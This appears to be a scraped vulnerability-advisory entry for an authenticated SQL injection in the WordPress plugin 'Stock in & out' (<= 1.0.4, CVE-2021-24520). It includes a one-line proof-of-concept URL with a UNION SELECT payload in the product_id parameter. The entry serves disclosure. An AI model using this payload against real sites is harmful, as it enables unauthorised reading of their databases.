Lucene search
Pang0linWPEX-ID:F903AADD-17AF-4DDF-8635-ABB3338AC815HistoryJun 02, 2021 - 12:00 a.m.
Stock in & out <= 1.0.4 - Authenticated SQL Injection
2021-06-0200:00:00
pang0lin
99
The plugin lacks proper sanitization before passing variables to an SQL request, making it vulnerable to SQL Injection attacks. Users with a role of contributor or higher can exploit this vulnerability.
https://www.example.com/wp-admin/admin.php?page=stock_in&product_id=0+union+select+1%2C2%2C3%2Cuser%28%29%2Cdatabase%28%29%2C6%2C7%2C8%2C9%2C10&tab=historyRelated
wpvulndb
wpvulndb
Stock in & out <= 1.0.4 - Authenticated SQL Injection
2021-06-02 00:00:00
cve
cve
CVE-2021-24520
2021-08-09 10:15:00
prion
prion
Sql injection
2021-08-09 10:15:00
Related for WPEX-ID:F903AADD-17AF-4DDF-8635-ABB3338AC815